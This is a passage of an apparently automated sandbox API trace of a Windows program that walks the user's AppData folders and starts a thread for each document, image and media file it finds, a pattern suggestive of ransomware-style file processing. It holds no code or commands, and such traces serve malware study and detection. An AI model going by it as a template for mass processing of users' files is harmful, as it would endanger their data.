HALPmcxz\\AppData\\LocalLow\\" [0091.915] wcscat (in: _Dest=0x1b85df10, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe" [0097.715] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85df10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0097.715] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0097.715] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0097.715] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0097.715] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85e110 [0097.716] wcscpy (in: _Dest=0x1b85e110, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0097.716] wcscat (in: _Dest=0x1b85e110, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0097.716] wcscat (in: _Dest=0x1b85e110, _Source="Microsoft" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft" [0097.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e110) returned 1 [0097.716] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0097.716] wcscmp (_String1="Sun", _String2=".") returned 1 [0097.716] wcscmp (_String1="Sun", _String2="..") returned 1 [0097.716] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1b7a31f0 [0097.716] wcscpy (in: _Dest=0x1b7a31f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow" [0097.716] wcscat (in: _Dest=0x1b7a31f0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\" [0097.716] wcscat (in: _Dest=0x1b7a31f0, _Source="Sun" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun" [0097.716] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a31f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x918 [0097.717] FindNextFileW (in: hFindFile=0x1cd9df70, lpFindFileData=0x1cd996c0 | out: lpFindFileData=0x1cd996c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68cb4a40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 0 [0097.717] FindClose (in: hFindFile=0x1cd9df70 | out: hFindFile=0x1cd9df70) returned 1 [0097.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd996c0) returned 1 [0097.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b863b20) returned 1 [0097.718] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1bf0) returned 1 Thread: id = 483 os_tid = 0xc60 [0091.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b863b90 [0091.916] wcscpy (in: _Dest=0x1b863b90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0091.916] wcscat (in: _Dest=0x1b863b90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0091.916] wcscat (in: _Dest=0x1b863b90, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*" [0091.916] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd99450 [0091.916] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\*", lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9f15540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9f15540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d3d0 [0091.916] wcscmp (_String1=".", _String2=".") returned 0 [0091.916] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9f15540, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9f15540, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.917] wcscmp (_String1="..", _String2=".") returned 1 [0091.917] wcscmp (_String1="..", _String2="..") returned 0 [0091.917] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x73d18e20, ftCreationTime.dwHighDateTime=0x1d5e35b, ftLastAccessTime.dwLowDateTime=0xcb1b8c00, ftLastAccessTime.dwHighDateTime=0x1d5dadf, ftLastWriteTime.dwLowDateTime=0xcb1b8c00, ftLastWriteTime.dwHighDateTime=0x1d5dadf, nFileSizeHigh=0x0, nFileSizeLow=0xaba4, dwReserved0=0x0, dwReserved1=0x0, cFileName="18V4M7G395di.bmp", cAlternateFileName="18V4M7~1.BMP")) returned 1 [0091.917] wcscmp (_String1="18V4M7G395di.bmp", _String2=".") returned 1 [0091.917] wcscmp (_String1="18V4M7G395di.bmp", _String2="..") returned 1 [0091.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1cf4d9b0 [0091.917] wcscpy (in: _Dest=0x1cf4d9b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0091.917] wcscat (in: _Dest=0x1cf4d9b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0091.917] wcscat (in: _Dest=0x1cf4d9b0, _Source="18V4M7G395di.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\18V4M7G395di.bmp" [0097.142] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cf4d9b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd14 [0097.143] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa0865f80, ftCreationTime.dwHighDateTime=0x1d5e1c7, ftLastAccessTime.dwLowDateTime=0xb314d870, ftLastAccessTime.dwHighDateTime=0x1d5de52, ftLastWriteTime.dwLowDateTime=0xb314d870, ftLastWriteTime.dwHighDateTime=0x1d5de52, nFileSizeHigh=0x0, nFileSizeLow=0xc6ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="1e_E1YR-.bmp", cAlternateFileName="")) returned 1 [0097.143] wcscmp (_String1="1e_E1YR-.bmp", _String2=".") returned 1 [0097.143] wcscmp (_String1="1e_E1YR-.bmp", _String2="..") returned 1 [0097.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85e690 [0097.143] wcscpy (in: _Dest=0x1b85e690, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.143] wcscat (in: _Dest=0x1b85e690, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.143] wcscat (in: _Dest=0x1b85e690, _Source="1e_E1YR-.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\1e_E1YR-.bmp" [0097.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e690, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1154 [0097.144] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x11964fc0, ftCreationTime.dwHighDateTime=0x1d5d7df, ftLastAccessTime.dwLowDateTime=0x8a88c320, ftLastAccessTime.dwHighDateTime=0x1d5de7b, ftLastWriteTime.dwLowDateTime=0x8a88c320, ftLastWriteTime.dwHighDateTime=0x1d5de7b, nFileSizeHigh=0x0, nFileSizeLow=0x978d, dwReserved0=0x0, dwReserved1=0x0, cFileName="7xXHQ1X.rtf", cAlternateFileName="")) returned 1 [0097.144] wcscmp (_String1="7xXHQ1X.rtf", _String2=".") returned 1 [0097.144] wcscmp (_String1="7xXHQ1X.rtf", _String2="..") returned 1 [0097.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e010 [0097.144] wcscpy (in: _Dest=0x1b85e010, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.144] wcscat (in: _Dest=0x1b85e010, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.144] wcscat (in: _Dest=0x1b85e010, _Source="7xXHQ1X.rtf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7xXHQ1X.rtf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\7xXHQ1X.rtf" [0097.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85e010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1158 [0097.145] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8d2f7660, ftCreationTime.dwHighDateTime=0x1d5e7c1, ftLastAccessTime.dwLowDateTime=0x18af5b90, ftLastAccessTime.dwHighDateTime=0x1d5d801, ftLastWriteTime.dwLowDateTime=0x18af5b90, ftLastWriteTime.dwHighDateTime=0x1d5d801, nFileSizeHigh=0x0, nFileSizeLow=0x24a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="9Cx 9xpX7VrOh.mkv", cAlternateFileName="9CX9XP~1.MKV")) returned 1 [0097.145] wcscmp (_String1="9Cx 9xpX7VrOh.mkv", _String2=".") returned 1 [0097.145] wcscmp (_String1="9Cx 9xpX7VrOh.mkv", _String2="..") returned 1 [0097.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4920 [0097.145] wcscpy (in: _Dest=0x202a4920, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.145] wcscat (in: _Dest=0x202a4920, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.145] wcscat (in: _Dest=0x202a4920, _Source="9Cx 9xpX7VrOh.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9Cx 9xpX7VrOh.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\9Cx 9xpX7VrOh.mkv" [0097.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4920, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x115c [0097.146] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0097.146] wcscmp (_String1="Adobe", _String2=".") returned 1 [0097.146] wcscmp (_String1="Adobe", _String2="..") returned 1 [0097.146] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x68) returned 0x1b7a3420 [0097.146] wcscpy (in: _Dest=0x1b7a3420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.146] wcscat (in: _Dest=0x1b7a3420, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.146] wcscat (in: _Dest=0x1b7a3420, _Source="Adobe" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe" [0097.147] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3420, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1160 [0097.147] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x12f17c00, ftCreationTime.dwHighDateTime=0x1d5e2ed, ftLastAccessTime.dwLowDateTime=0x6e647440, ftLastAccessTime.dwHighDateTime=0x1d5dc4c, ftLastWriteTime.dwLowDateTime=0x6e647440, ftLastWriteTime.dwHighDateTime=0x1d5dc4c, nFileSizeHigh=0x0, nFileSizeLow=0xcab3, dwReserved0=0x0, dwReserved1=0x0, cFileName="AN 9W Yv.doc", cAlternateFileName="AN9WYV~1.DOC")) returned 1 [0097.147] wcscmp (_String1="AN 9W Yv.doc", _String2=".") returned 1 [0097.147] wcscmp (_String1="AN 9W Yv.doc", _String2="..") returned 1 [0097.147] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85d710 [0097.147] wcscpy (in: _Dest=0x1b85d710, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.148] wcscat (in: _Dest=0x1b85d710, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.148] wcscat (in: _Dest=0x1b85d710, _Source="AN 9W Yv.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\AN 9W Yv.doc" [0097.148] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85d710, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1164 [0097.148] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x56e57440, ftCreationTime.dwHighDateTime=0x1d5e412, ftLastAccessTime.dwLowDateTime=0x54b3bda0, ftLastAccessTime.dwHighDateTime=0x1d5df24, ftLastWriteTime.dwLowDateTime=0x54b3bda0, ftLastWriteTime.dwHighDateTime=0x1d5df24, nFileSizeHigh=0x0, nFileSizeLow=0x1555c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bc16FohRCuQ1.mp3", cAlternateFileName="BC16FO~1.MP3")) returned 1 [0097.148] wcscmp (_String1="Bc16FohRCuQ1.mp3", _String2=".") returned 1 [0097.149] wcscmp (_String1="Bc16FohRCuQ1.mp3", _String2="..") returned 1 [0097.149] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a49b0 [0097.149] wcscpy (in: _Dest=0x202a49b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.149] wcscat (in: _Dest=0x202a49b0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.149] wcscat (in: _Dest=0x202a49b0, _Source="Bc16FohRCuQ1.mp3" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bc16FohRCuQ1.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Bc16FohRCuQ1.mp3" [0097.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a49b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1168 [0097.150] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2edfd980, ftCreationTime.dwHighDateTime=0x1d5e75b, ftLastAccessTime.dwLowDateTime=0x20ae8d50, ftLastAccessTime.dwHighDateTime=0x1d5e537, ftLastWriteTime.dwLowDateTime=0x20ae8d50, ftLastWriteTime.dwHighDateTime=0x1d5e537, nFileSizeHigh=0x0, nFileSizeLow=0xe014, dwReserved0=0x0, dwReserved1=0x0, cFileName="biEU_CLfkhjx.gif", cAlternateFileName="BIEU_C~1.GIF")) returned 1 [0097.150] wcscmp (_String1="biEU_CLfkhjx.gif", _String2=".") returned 1 [0097.150] wcscmp (_String1="biEU_CLfkhjx.gif", _String2="..") returned 1 [0097.150] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x202a4a40 [0097.150] wcscpy (in: _Dest=0x202a4a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.150] wcscat (in: _Dest=0x202a4a40, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.150] wcscat (in: _Dest=0x202a4a40, _Source="biEU_CLfkhjx.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\biEU_CLfkhjx.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\biEU_CLfkhjx.gif" [0097.150] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4a40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x116c [0097.151] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9ef8d980, ftCreationTime.dwHighDateTime=0x1d5dd18, ftLastAccessTime.dwLowDateTime=0x8edb6210, ftLastAccessTime.dwHighDateTime=0x1d5df44, ftLastWriteTime.dwLowDateTime=0x8edb6210, ftLastWriteTime.dwHighDateTime=0x1d5df44, nFileSizeHigh=0x0, nFileSizeLow=0x1c4f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CmTGLk.doc", cAlternateFileName="")) returned 1 [0097.151] wcscmp (_String1="CmTGLk.doc", _String2=".") returned 1 [0097.151] wcscmp (_String1="CmTGLk.doc", _String2="..") returned 1 [0097.151] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85ec90 [0097.151] wcscpy (in: _Dest=0x1b85ec90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.151] wcscat (in: _Dest=0x1b85ec90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.151] wcscat (in: _Dest=0x1b85ec90, _Source="CmTGLk.doc" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\CmTGLk.doc" [0097.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85ec90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1170 [0097.152] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3716ab50, ftCreationTime.dwHighDateTime=0x1d5e3a1, ftLastAccessTime.dwLowDateTime=0x93176620, ftLastAccessTime.dwHighDateTime=0x1d5de28, ftLastWriteTime.dwLowDateTime=0x93176620, ftLastWriteTime.dwHighDateTime=0x1d5de28, nFileSizeHigh=0x0, nFileSizeLow=0x5ee4, dwReserved0=0x0, dwReserved1=0x0, cFileName="dn26p6AOsQAG5.bmp", cAlternateFileName="DN26P6~1.BMP")) returned 1 [0097.152] wcscmp (_String1="dn26p6AOsQAG5.bmp", _String2=".") returned 1 [0097.152] wcscmp (_String1="dn26p6AOsQAG5.bmp", _String2="..") returned 1 [0097.152] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x80) returned 0x202a4ad0 [0097.152] wcscpy (in: _Dest=0x202a4ad0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.152] wcscat (in: _Dest=0x202a4ad0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\" [0097.152] wcscat (in: _Dest=0x202a4ad0, _Source="dn26p6AOsQAG5.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\dn26p6AOsQAG5.bmp" [0097.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x202a4ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1174 [0097.153] FindNextFileW (in: hFindFile=0x1cd9d3d0, lpFindFileData=0x1cd99450 | out: lpFindFileData=0x1cd99450*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf78d9a0, ftCreationTime.dwHighDateTime=0x1d5da1e, ftLastAccessTime.dwLowDateTime=0xdaa6fd90, ftLastAccessTime.dwHighDateTime=0x1d5e5a1, ftLastWriteTime.dwLowDateTime=0xdaa6fd90, ftLastWriteTime.dwHighDateTime=0x1d5e5a1, nFileSizeHigh=0x0, nFileSizeLow=0x8ef4, dwReserved0=0x0, dwReserved1=0x0, cFileName="FFO7LEy.mp4", cAlternateFileName="")) returned 1 [0097.153] wcscmp (_String1="FFO7LEy.mp4", _String2=".") returned 1 [0097.153] wcscmp (_String1="FFO7LEy.mp4", _String2="..") returned 1 [0097.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85e190 [0097.153] wcscpy (in: _Dest=0x1b85e190, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming" [0097.153] wcscat (in: _Dest=0x1b85e190, _Source="\\" | out: 